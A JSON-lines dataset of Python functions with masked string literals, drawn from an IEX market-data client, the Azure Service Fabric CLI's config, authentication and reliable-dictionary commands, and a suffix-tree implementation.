{"signature": "def _getJsonOrig(url):", "body": "url = _URL_PREFIX + url<EOL>resp = requests.get(urlparse(url).geturl(), proxies=_PYEX_PROXIES)<EOL>if resp.status_code == <NUM_LIT:200>:<EOL><INDENT>return resp.json()<EOL><DEDENT>raise PyEXception('<STR_LIT>' % resp.status_code, resp.text)<EOL>", "docstring": "internal", "id": "f2338:m1"}
{"signature": "def _getJsonIEXCloud(url, token='<STR_LIT>', version='<STR_LIT>'):", "body": "url = _URL_PREFIX2.format(version=version) + url<EOL>resp = requests.get(urlparse(url).geturl(), proxies=_PYEX_PROXIES, params={'<STR_LIT>': token})<EOL>if resp.status_code == <NUM_LIT:200>:<EOL><INDENT>return resp.json()<EOL><DEDENT>raise PyEXception('<STR_LIT>' % resp.status_code, resp.text)<EOL>", "docstring": "for iex cloud", "id": "f2338:m2"}
{"signature": "def _wsURL(url):", "body": "return '<STR_LIT>' + url<EOL>", "docstring": "internal", "id": "f2338:m3"}
{"signature": "def _strToList(st):", "body": "if isinstance(st, string_types):<EOL><INDENT>return [st]<EOL><DEDENT>return st<EOL>", "docstring": "internal", "id": "f2338:m4"}
{"signature": "def _strCommaSeparatedString(st):", "body": "return '<STR_LIT:U+002C>'.join(_strToList(st))<EOL>", "docstring": "internal", "id": "f2338:m5"}
{"signature": "def _strOrDate(st):", "body": "if isinstance(st, string_types):<EOL><INDENT>return st<EOL><DEDENT>elif isinstance(st, datetime):<EOL><INDENT>return st.strftime('<STR_LIT>')<EOL><DEDENT>raise PyEXception('<STR_LIT>', str(st))<EOL>", "docstring": "internal", "id": "f2338:m6"}
{"signature": "def _raiseIfNotStr(s):", "body": "if s is not None and not isinstance(s, string_types):<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(type(s)))<EOL><DEDENT>", "docstring": "internal", "id": "f2338:m7"}
{"signature": "def _tryJson(data, raw=True):", "body": "if raw:<EOL><INDENT>return data<EOL><DEDENT>try:<EOL><INDENT>return json.loads(data)<EOL><DEDENT>except ValueError:<EOL><INDENT>return data<EOL><DEDENT>", "docstring": "internal", "id": "f2338:m8"}
{"signature": "def _stream(url, sendinit=None, on_data=print):", "body": "cl = WSClient(url, sendinit=sendinit, on_data=on_data)<EOL>return cl<EOL>", "docstring": "internal", "id": "f2338:m9"}
{"signature": "def _streamSSE(url, on_data=print, accrue=False):", "body": "messages = SSEClient(url)<EOL>if accrue:<EOL><INDENT>ret = []<EOL><DEDENT>for msg in messages:<EOL><INDENT>data = msg.data<EOL>on_data(json.loads(data))<EOL>if accrue:<EOL><INDENT>ret.append(msg)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "internal", "id": "f2338:m10"}
{"signature": "def _reindex(df, col):", "body": "if col in df.columns:<EOL><INDENT>df.set_index(col, inplace=True)<EOL><DEDENT>", "docstring": "internal", "id": "f2338:m11"}
{"signature": "def _toDatetime(df, cols=None, tcols=None):", "body": "cols = cols or _STANDARD_DATE_FIELDS<EOL>tcols = tcols = _STANDARD_TIME_FIELDS<EOL>for col in cols:<EOL><INDENT>if col in df:<EOL><INDENT>df[col] = pd.to_datetime(df[col], infer_datetime_format=True, errors='<STR_LIT>')<EOL><DEDENT><DEDENT>for tcol in tcols:<EOL><INDENT>if tcol in df:<EOL><INDENT>df[tcol] = pd.to_datetime(df[tcol], unit='<STR_LIT>', errors='<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "internal", "id": "f2338:m12"}
{"signature": "def setProxy(proxies=None):", "body": "global _PYEX_PROXIES<EOL>_PYEX_PROXIES = proxies<EOL>", "docstring": "Set proxies argument for requests\n\n    Args:\n        proxies (dict): Proxies to set", "id": "f2338:m13"}
{"signature": "def __init__(self, addr, sendinit=None, on_data=None, on_open=None, on_close=None, raw=True):", "body": "self.addr = addr<EOL>self.sendinit = sendinit<EOL>on_data = on_data or print<EOL>class Namespace(BaseNamespace):<EOL><INDENT>def on_connect(self, *data):<EOL><INDENT>if on_open:<EOL><INDENT>on_open(_tryJson(data, raw))<EOL><DEDENT><DEDENT>def on_disconnect(self, *data):<EOL><INDENT>if on_close:<EOL><INDENT>on_close(_tryJson(data, raw))<EOL><DEDENT><DEDENT>def on_message(self, data):<EOL><INDENT>on_data(_tryJson(data, raw))<EOL><DEDENT><DEDENT>self._Namespace = Namespace<EOL>", "docstring": "addr: path to sio\nsendinit: tuple to emit\non_data, on_open, on_close: functions to call", "id": "f2338:c1:m0"}
{"signature": "def stats(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-intraday\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2339:m0"}
{"signature": "def statsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(stats(token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-intraday\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2339:m1"}
{"signature": "def recent(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-recent\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2339:m2"}
{"signature": "def recentDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(recent(token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT:date>')<EOL>return df<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-recent\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2339:m3"}
{"signature": "def records(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-records\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2339:m4"}
{"signature": "def recordsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(records(token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-records\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2339:m5"}
{"signature": "def summary(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>if isinstance(date, str):<EOL><INDENT>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>elif isinstance(date, datetime):<EOL><INDENT>return _getJson('<STR_LIT>' + date.strftime('<STR_LIT>'), token, version)<EOL><DEDENT>else:<EOL><INDENT>raise PyEXception(\"<STR_LIT>\" % str(type(date)), token, version)<EOL><DEDENT><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-historical-summary\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2339:m6"}
{"signature": "def summaryDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(summary(date, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-historical-summary\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2339:m7"}
{"signature": "def daily(date=None, last='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>elif last:<EOL><INDENT>return _getJson('<STR_LIT>' + last, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-historical-daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2339:m8"}
{"signature": "def dailyDF(date=None, last='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(daily(date, last, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "https://iexcloud.io/docs/api/#stats-historical-daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2339:m9"}
{"signature": "def get_config_value(name, fallback=None):", "body": "cli_config = CLIConfig(SF_CLI_CONFIG_DIR, SF_CLI_ENV_VAR_PREFIX)<EOL>return cli_config.get('<STR_LIT>', name, fallback)<EOL>", "docstring": "Gets a config by name.\n\n    In the case where the config name is not found, will use fallback value.", "id": "f2344:m0"}
{"signature": "def get_config_bool(name):", "body": "cli_config = CLIConfig(SF_CLI_CONFIG_DIR, SF_CLI_ENV_VAR_PREFIX)<EOL>return cli_config.getboolean('<STR_LIT>', name, False)<EOL>", "docstring": "Checks if a config value is set to a valid bool value.", "id": "f2344:m1"}
{"signature": "def set_config_value(name, value):", "body": "cli_config = CLIConfig(SF_CLI_CONFIG_DIR, SF_CLI_ENV_VAR_PREFIX)<EOL>cli_config.set_value('<STR_LIT>', name, value)<EOL>", "docstring": "Set a config by name to a value.", "id": "f2344:m2"}
{"signature": "def client_endpoint():", "body": "return get_config_value('<STR_LIT>', None)<EOL>", "docstring": "Cluster HTTP gateway endpoint address and port, represented as a URL.", "id": "f2344:m3"}
{"signature": "def security_type():", "body": "return get_config_value('<STR_LIT>', None)<EOL>", "docstring": "The selected security type of client.", "id": "f2344:m4"}
{"signature": "def set_cluster_endpoint(endpoint):", "body": "set_config_value('<STR_LIT>', endpoint)<EOL>", "docstring": "Configure cluster endpoint", "id": "f2344:m5"}
{"signature": "def no_verify_setting():", "body": "return get_config_bool('<STR_LIT>')<EOL>", "docstring": "True to skip certificate SSL validation and verification", "id": "f2344:m6"}
{"signature": "def set_no_verify(no_verify):", "body": "if no_verify:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT:true>')<EOL><DEDENT>else:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT:false>')<EOL><DEDENT>", "docstring": "Configure if cert verification should be skipped.", "id": "f2344:m7"}
{"signature": "def ca_cert_info():", "body": "if get_config_bool('<STR_LIT>'):<EOL><INDENT>return get_config_value('<STR_LIT>', fallback=None)<EOL><DEDENT>return None<EOL>", "docstring": "CA certificate(s) path", "id": "f2344:m8"}
{"signature": "def set_ca_cert(ca_path=None):", "body": "if ca_path:<EOL><INDENT>set_config_value('<STR_LIT>', ca_path)<EOL>set_config_value('<STR_LIT>', '<STR_LIT:true>')<EOL><DEDENT>else:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT:false>')<EOL><DEDENT>", "docstring": "Configure paths to CA cert(s).", "id": "f2344:m9"}
{"signature": "def cert_info():", "body": "sec_type = security_type()<EOL>if sec_type == '<STR_LIT>':<EOL><INDENT>return get_config_value('<STR_LIT>', fallback=None)<EOL><DEDENT>if sec_type == '<STR_LIT>':<EOL><INDENT>cert_path = get_config_value('<STR_LIT>', fallback=None)<EOL>key_path = get_config_value('<STR_LIT>', fallback=None)<EOL>return cert_path, key_path<EOL><DEDENT>return None<EOL>", "docstring": "Path to certificate related files, either a single file path or a\n    tuple. In the case of no security, returns None.", "id": "f2344:m10"}
{"signature": "def aad_cache():", "body": "return jsonpickle.decode(get_config_value('<STR_LIT>', fallback=None)),jsonpickle.decode(get_config_value('<STR_LIT>', fallback=None))<EOL>", "docstring": "AAD token cache.", "id": "f2344:m11"}
{"signature": "def set_aad_cache(token, cache):", "body": "set_config_value('<STR_LIT>', jsonpickle.encode(token))<EOL>set_config_value('<STR_LIT>', jsonpickle.encode(cache))<EOL>", "docstring": "Set AAD token cache.", "id": "f2344:m12"}
{"signature": "def aad_metadata():", "body": "return get_config_value('<STR_LIT>', fallback=None),get_config_value('<STR_LIT>', fallback=None),get_config_value('<STR_LIT>', fallback=None)<EOL>", "docstring": "AAD metadata.", "id": "f2344:m13"}
{"signature": "def set_aad_metadata(uri, resource, client):", "body": "set_config_value('<STR_LIT>', uri)<EOL>set_config_value('<STR_LIT>', resource)<EOL>set_config_value('<STR_LIT>', client)<EOL>", "docstring": "Set AAD metadata.", "id": "f2344:m14"}
{"signature": "def set_auth(pem=None, cert=None, key=None, aad=False):", "body": "if any([cert, key]) and pem:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if any([cert, key]) and not all([cert, key]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if pem:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT>')<EOL>set_config_value('<STR_LIT>', pem)<EOL><DEDENT>elif cert or key:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT>')<EOL>set_config_value('<STR_LIT>', cert)<EOL>set_config_value('<STR_LIT>', key)<EOL><DEDENT>elif aad:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>set_config_value('<STR_LIT>', '<STR_LIT:none>')<EOL><DEDENT>", "docstring": "Set certificate usage paths", "id": "f2344:m15"}
{"signature": "def select_arg_verify(endpoint, cert, key, pem, ca, aad, no_verify): ", "body": "if not (endpoint.lower().startswith('<STR_LIT:http>')<EOL>or endpoint.lower().startswith('<STR_LIT>')):<EOL><INDENT>raise CLIError('<STR_LIT>')<EOL><DEDENT>usage = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>if ca and not (pem or all([key, cert])):<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>if no_verify and not (pem or all([key, cert]) or aad):<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>if no_verify and ca:<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>if any([cert, key]) and not all([cert, key]):<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>if aad and any([pem, cert, key]):<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>if pem and any([cert, key]):<EOL><INDENT>raise CLIError(usage)<EOL><DEDENT>", "docstring": "Verify arguments for select command", "id": "f2345:m0"}
{"signature": "def select(endpoint, cert=None, key=None, pem=None, ca=None, <EOL>aad=False, no_verify=False):<EOL>", "body": "from sfctl.config import (set_ca_cert, set_auth, set_aad_cache,<EOL>set_cluster_endpoint,<EOL>set_no_verify)<EOL>from msrest import ServiceClient, Configuration<EOL>from sfctl.auth import ClientCertAuthentication, AdalAuthentication<EOL>select_arg_verify(endpoint, cert, key, pem, ca, aad, no_verify)<EOL>if aad:<EOL><INDENT>new_token, new_cache = get_aad_token(endpoint, no_verify)<EOL>set_aad_cache(new_token, new_cache)<EOL>rest_client = ServiceClient(<EOL>AdalAuthentication(no_verify),<EOL>Configuration(endpoint)<EOL>)<EOL>rest_client.send(rest_client.get('<STR_LIT:/>')).raise_for_status()<EOL><DEDENT>else:<EOL><INDENT>client_cert = None<EOL>if pem:<EOL><INDENT>client_cert = pem<EOL><DEDENT>elif cert:<EOL><INDENT>client_cert = (cert, key)<EOL><DEDENT>rest_client = ServiceClient(<EOL>ClientCertAuthentication(client_cert, ca, no_verify),<EOL>Configuration(endpoint)<EOL>)<EOL>rest_client.send(rest_client.get('<STR_LIT:/>')).raise_for_status()<EOL><DEDENT>set_cluster_endpoint(endpoint)<EOL>set_no_verify(no_verify)<EOL>set_ca_cert(ca)<EOL>set_auth(pem, cert, key, aad)<EOL>", "docstring": "Connects to a Service Fabric cluster endpoint.\nIf connecting to secure cluster specify an absolute path to a cert (.crt)\nand key file (.key) or a single file with both (.pem). Do not specify both.\nOptionally, if connecting to a secure cluster, specify also an absolute\npath to a CA bundle file or directory of trusted CA certs.\n:param str endpoint: Cluster endpoint URL, including port and HTTP or HTTPS\nprefix\n:param str cert: Absolute path to a client certificate file\n:param str key: Absolute path to client certificate key file\n:param str pem: Absolute path to client certificate, as a .pem file\n:param str ca: Absolute path to CA certs directory to treat as valid\nor CA bundle\nfile\n:param bool aad: Use Azure Active Directory for authentication\n:param bool no_verify: Disable verification for certificates when using\nHTTPS, note: this is an insecure option and should not be used for\nproduction environments", "id": "f2345:m1"}
{"signature": "def get_aad_token(endpoint, no_verify):<EOL>", "body": "from azure.servicefabric.service_fabric_client_ap_is import (<EOL>ServiceFabricClientAPIs<EOL>)<EOL>from sfctl.auth import ClientCertAuthentication<EOL>from sfctl.config import set_aad_metadata<EOL>auth = ClientCertAuthentication(None, None, no_verify)<EOL>client = ServiceFabricClientAPIs(auth, base_url=endpoint)<EOL>aad_metadata = client.get_aad_metadata()<EOL>if aad_metadata.type != \"<STR_LIT>\":<EOL><INDENT>raise CLIError(\"<STR_LIT>\")<EOL><DEDENT>aad_resource = aad_metadata.metadata<EOL>tenant_id = aad_resource.tenant<EOL>authority_uri = aad_resource.login + '<STR_LIT:/>' + tenant_id<EOL>context = adal.AuthenticationContext(authority_uri,<EOL>api_version=None)<EOL>cluster_id = aad_resource.cluster<EOL>client_id = aad_resource.client<EOL>set_aad_metadata(authority_uri, cluster_id, client_id)<EOL>code = context.acquire_user_code(cluster_id, client_id)<EOL>print(code['<STR_LIT:message>'])<EOL>token = context.acquire_token_with_device_code(<EOL>cluster_id, code, client_id)<EOL>print(\"<STR_LIT>\")<EOL>return token, context.cache<EOL>", "docstring": "Get AAD token", "id": "f2345:m2"}
{"signature": "def cli():", "body": "return VersionedCLI(cli_name=SF_CLI_NAME,<EOL>config_dir=SF_CLI_CONFIG_DIR,<EOL>config_env_var_prefix=SF_CLI_ENV_VAR_PREFIX,<EOL>commands_loader_cls=SFCommandLoader,<EOL>help_cls=SFCommandHelp)<EOL>", "docstring": "Create CLI environment", "id": "f2346:m0"}
{"signature": "def launch():", "body": "cli_env = cli()<EOL>return cli_env.invoke(sys.argv[<NUM_LIT:1>:])<EOL>", "docstring": "Entry point for Service Fabric CLI.\n\n    Configures and invokes CLI with arguments passed during the time the python\n    session is launched", "id": "f2346:m1"}
{"signature": "def signed_session(self, session=None):", "body": "if session:<EOL><INDENT>session = super(ClientCertAuthentication, self).signed_session(session)<EOL><DEDENT>else:<EOL><INDENT>session = super(ClientCertAuthentication, self).signed_session()<EOL><DEDENT>if self.cert is not None:<EOL><INDENT>session.cert = self.cert<EOL><DEDENT>if self.ca_cert is not None:<EOL><INDENT>session.verify = self.ca_cert<EOL><DEDENT>if self.no_verify:<EOL><INDENT>session.verify = False<EOL><DEDENT>return session<EOL>", "docstring": "Create requests session with any required auth headers\n        applied.\n\n        :rtype: requests.Session.", "id": "f2347:c0:m1"}
{"signature": "def signed_session(self, session=None):", "body": "from sfctl.config import (aad_metadata, aad_cache)<EOL>if session:<EOL><INDENT>session = super(AdalAuthentication, self).signed_session(session)<EOL><DEDENT>else:<EOL><INDENT>session = super(AdalAuthentication, self).signed_session()<EOL><DEDENT>if self.no_verify:<EOL><INDENT>session.verify = False<EOL><DEDENT>authority_uri, cluster_id, client_id = aad_metadata()<EOL>existing_token, existing_cache = aad_cache()<EOL>context = adal.AuthenticationContext(authority_uri,<EOL>cache=existing_cache)<EOL>new_token = context.acquire_token(cluster_id,<EOL>existing_token['<STR_LIT>'], client_id)<EOL>header = \"<STR_LIT>\".format(\"<STR_LIT>\", new_token['<STR_LIT>'])<EOL>session.headers['<STR_LIT>'] = header<EOL>return session<EOL>", "docstring": "Create requests session with AAD auth headers\n\n        :rtype: requests.Session.", "id": "f2347:c1:m1"}
{"signature": "def create(_):", "body": "endpoint = client_endpoint()<EOL>if not endpoint:<EOL><INDENT>raise CLIError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>no_verify = no_verify_setting()<EOL>if security_type() == '<STR_LIT>':<EOL><INDENT>auth = AdalAuthentication(no_verify)<EOL><DEDENT>else:<EOL><INDENT>cert = cert_info()<EOL>ca_cert = ca_cert_info()<EOL>auth = ClientCertAuthentication(cert, ca_cert, no_verify)<EOL><DEDENT>return ServiceFabricClientAPIs(auth, base_url=endpoint)<EOL>", "docstring": "Create a client for Service Fabric APIs.", "id": "f2348:m0"}
{"signature": "def load_command_table(self, args): ", "body": "<EOL>with CommandSuperGroup(__name__, self,<EOL>'<STR_LIT>') as super_group:<EOL><INDENT>with super_group.group('<STR_LIT>') as group:<EOL><INDENT>group.command('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>with CommandSuperGroup(__name__, self, '<STR_LIT>',<EOL>client_factory=client_create) as super_group: <EOL><INDENT>with super_group.group('<STR_LIT>') as group:<EOL><INDENT>group.command('<STR_LIT>', '<STR_LIT>')<EOL>group.command('<STR_LIT>', '<STR_LIT>')<EOL>group.command('<STR_LIT>', '<STR_LIT>')<EOL>group.command('<STR_LIT:list>', '<STR_LIT>')<EOL>group.command('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>with ArgumentsContext(self, '<STR_LIT>') as ac:<EOL><INDENT>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL>ac.argument('<STR_LIT>', options_list=['<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>return OrderedDict(self.command_table)<EOL>", "docstring": "Load all Service Fabric commands", "id": "f2349:c1:m0"}
{"signature": "def get_reliabledictionary_list(client, application_name, service_name):", "body": "cluster = Cluster.from_sfclient(client)<EOL>service = cluster.get_application(application_name).get_service(service_name)<EOL>for dictionary in service.get_dictionaries():<EOL><INDENT>print(dictionary.name)<EOL><DEDENT>", "docstring": "List existing reliable dictionaries.\n\n    List existing reliable dictionaries and respective schema for given application and service.\n\n    :param application_name: Name of the application.\n    :type application_name: str\n    :param service_name: Name of the service.\n    :type service_name: str", "id": "f2353:m0"}
{"signature": "def get_reliabledictionary_schema(client, application_name, service_name, dictionary_name, output_file=None):", "body": "cluster = Cluster.from_sfclient(client)<EOL>dictionary = cluster.get_application(application_name).get_service(service_name).get_dictionary(dictionary_name)<EOL>result = json.dumps(dictionary.get_information(), indent=<NUM_LIT:4>)<EOL>if (output_file == None):<EOL><INDENT>output_file = \"<STR_LIT>\".format(application_name, service_name, dictionary_name)<EOL><DEDENT>with open(output_file, \"<STR_LIT:w>\") as output:<EOL><INDENT>output.write(result)<EOL><DEDENT>print('<STR_LIT>' + output_file)<EOL>print(result)<EOL>", "docstring": "Query Schema information for existing reliable dictionaries.\n\n    Query Schema information existing reliable dictionaries for given application and service.\n\n    :param application_name: Name of the application.\n    :type application_name: str\n    :param service_name: Name of the service.\n    :type service_name: str\n    :param dictionary: Name of the reliable dictionary.\n    :type dictionary: str\n    :param output_file: Optional file to save the schema.", "id": "f2353:m1"}
{"signature": "def get_reliabledictionary_type_schema(client, application_name, service_name, dictionary_name, type_name, output_file=None):", "body": "cluster = Cluster.from_sfclient(client)<EOL>dictionary = cluster.get_application(application_name).get_service(service_name).get_dictionary(dictionary_name)<EOL>result = json.dumps(dictionary.get_complex_type(type_name), indent=<NUM_LIT:4>)<EOL>if (output_file == None):<EOL><INDENT>output_file = \"<STR_LIT>\".format(application_name, service_name, dictionary_name, type_name)<EOL><DEDENT>with open(output_file, \"<STR_LIT:w>\") as output:<EOL><INDENT>output.write(result)<EOL><DEDENT>print('<STR_LIT>' + output_file)<EOL>print(result)<EOL>", "docstring": "Query complex type information existing reliable dictionaries for given application and service. Make sure to provide entire namespace for your type if necessary.\n\n    :param application_name: Name of the application.\n    :type application_name: str\n    :param service_name: Name of the service.\n    :type service_name: str\n    :param dictionary_name: Name of the reliable dictionary.\n    :type dictionary_name: str\n    :param type_name: Name of the complex type.\n    :type type_name: str\n    :param output_file: Optional file to save the schema.", "id": "f2353:m2"}
{"signature": "def query_reliabledictionary(client, application_name, service_name, dictionary_name, query_string, partition_key=None, partition_id=None, output_file=None):", "body": "cluster = Cluster.from_sfclient(client)<EOL>dictionary = cluster.get_application(application_name).get_service(service_name).get_dictionary(dictionary_name)<EOL>start = time.time()<EOL>if (partition_id != None):<EOL><INDENT>result = dictionary.query(query_string, PartitionLookup.ID, partition_id)<EOL><DEDENT>elif (partition_key != None):<EOL><INDENT>result = dictionary.query(query_string, PartitionLookup.KEY, partition_key)<EOL><DEDENT>else:<EOL><INDENT>result = dictionary.query(query_string)<EOL><DEDENT>if type(result) is str:<EOL><INDENT>print(result)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>result = json.dumps(result.get(\"<STR_LIT:value>\"), indent=<NUM_LIT:4>)<EOL><DEDENT>print(\"<STR_LIT>\" + str(time.time() - start) + \"<STR_LIT>\")<EOL>if (output_file == None):<EOL><INDENT>output_file = \"<STR_LIT>\".format(application_name, service_name, dictionary_name)<EOL><DEDENT>with open(output_file, \"<STR_LIT:w>\") as output:<EOL><INDENT>output.write(result)<EOL><DEDENT>print()<EOL>print('<STR_LIT>' + output_file)<EOL>print(result)<EOL>", "docstring": "Query existing reliable dictionary.\n\n    Query existing reliable dictionaries for given application and service.\n\n    :param application_name: Name of the application.\n    :type application_name: str\n    :param service_name: Name of the service.\n    :type service_name: str\n    :param dictionary_name: Name of the reliable dictionary.\n    :type dictionary_name: str\n    :param query_string: An OData query string. For example $top=10. Check https://www.odata.org/documentation/ for more information.\n    :type query_string: str\n    :param partition_key: Optional partition key of the desired partition, either a string if named schema or int if Int64 schema\n    :type partition_id: str\n    :param partition_id: Optional partition GUID of the owning reliable dictionary.\n    :type partition_id: str\n    :param output_file: Optional file to save the schema.", "id": "f2353:m3"}
{"signature": "def execute_reliabledictionary(client, application_name, service_name, input_file):", "body": "cluster = Cluster.from_sfclient(client)<EOL>service = cluster.get_application(application_name).get_service(service_name)<EOL>with open(input_file) as json_file:<EOL><INDENT>json_data = json.load(json_file)<EOL>service.execute(json_data)<EOL><DEDENT>return<EOL>", "docstring": "Execute create, update, delete operations on existing reliable dictionaries.\n\n    carry out create, update and delete operations on existing reliable dictionaries for given application and service.\n\n    :param application_name: Name of the application.\n    :type application_name: str\n    :param service_name: Name of the service.\n    :type service_name: str\n    :param output_file: input file with list of json to provide the operation information for reliable dictionaries.", "id": "f2353:m4"}
{"signature": "def _check_input(self, input):", "body": "if isinstance(input, str):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif isinstance(input, list):<EOL><INDENT>if all(isinstance(item, str) for item in input):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Checks the validity of the input.\n\n        In case of an invalid input throws ValueError.", "id": "f2362:c0:m1"}
{"signature": "def build(self, x):", "body": "type = self._check_input(x)<EOL>if type == '<STR_LIT>':<EOL><INDENT>x += next(self._terminalSymbolsGenerator())<EOL>self._build(x)<EOL><DEDENT>if type == '<STR_LIT>':<EOL><INDENT>self._build_generalized(x)<EOL><DEDENT>", "docstring": "Builds the Suffix tree on the given input.\n        If the input is of type List of Strings:\n        Generalized Suffix Tree is built.\n\n        :param x: String or List of Strings", "id": "f2362:c0:m2"}
{"signature": "def _build(self, x):", "body": "self.word = x<EOL>self._build_McCreight(x)<EOL>", "docstring": "Builds a Suffix tree.", "id": "f2362:c0:m3"}
{"signature": "def _build_McCreight(self, x):", "body": "u = self.root<EOL>d = <NUM_LIT:0><EOL>for i in range(len(x)):<EOL><INDENT>while u.depth == d and u._has_transition(x[d+i]):<EOL><INDENT>u = u._get_transition_link(x[d+i])<EOL>d = d + <NUM_LIT:1><EOL>while d < u.depth and x[u.idx + d] == x[i + d]:<EOL><INDENT>d = d + <NUM_LIT:1><EOL><DEDENT><DEDENT>if d < u.depth:<EOL><INDENT>u = self._create_node(x, u, d)<EOL><DEDENT>self._create_leaf(x, i, u, d)<EOL>if not u._get_suffix_link():<EOL><INDENT>self._compute_slink(x, u)<EOL><DEDENT>u = u._get_suffix_link()<EOL>d = d - <NUM_LIT:1><EOL>if d < <NUM_LIT:0>:<EOL><INDENT>d = <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Builds a Suffix tree using McCreight O(n) algorithm.\n\n        Algorithm based on:\n        McCreight, Edward M. \"A space-economical suffix tree construction algorithm.\" - ACM, 1976.\n        Implementation based on:\n        UH CS - 58093 String Processing Algorithms Lecture Notes", "id": "f2362:c0:m4"}
{"signature": "def _build_Ukkonen(self, x):", "body": "<EOL>raise NotImplementedError()<EOL>", "docstring": "Builds a Suffix tree using Ukkonen's online O(n) algorithm.\n\n        Algorithm based on:\n        Ukkonen, Esko. \"On-line construction of suffix trees.\" - Algorithmica, 1995.", "id": "f2362:c0:m8"}
{"signature": "def _build_generalized(self, xs):", "body": "terminal_gen = self._terminalSymbolsGenerator()<EOL>_xs = '<STR_LIT>'.join([x + next(terminal_gen) for x in xs])<EOL>self.word = _xs<EOL>self._generalized_word_starts(xs)<EOL>self._build(_xs)<EOL>self.root._traverse(self._label_generalized)<EOL>", "docstring": "Builds a Generalized Suffix Tree (GST) from the array of strings provided.", "id": "f2362:c0:m9"}
{"signature": "def _label_generalized(self, node):", "body": "if node.is_leaf():<EOL><INDENT>x = {self._get_word_start_index(node.idx)}<EOL><DEDENT>else:<EOL><INDENT>x = {n for ns in node.transition_links for n in ns[<NUM_LIT:0>].generalized_idxs}<EOL><DEDENT>node.generalized_idxs = x<EOL>", "docstring": "Helper method that labels the nodes of GST with indexes of strings\n        found in their descendants.", "id": "f2362:c0:m10"}
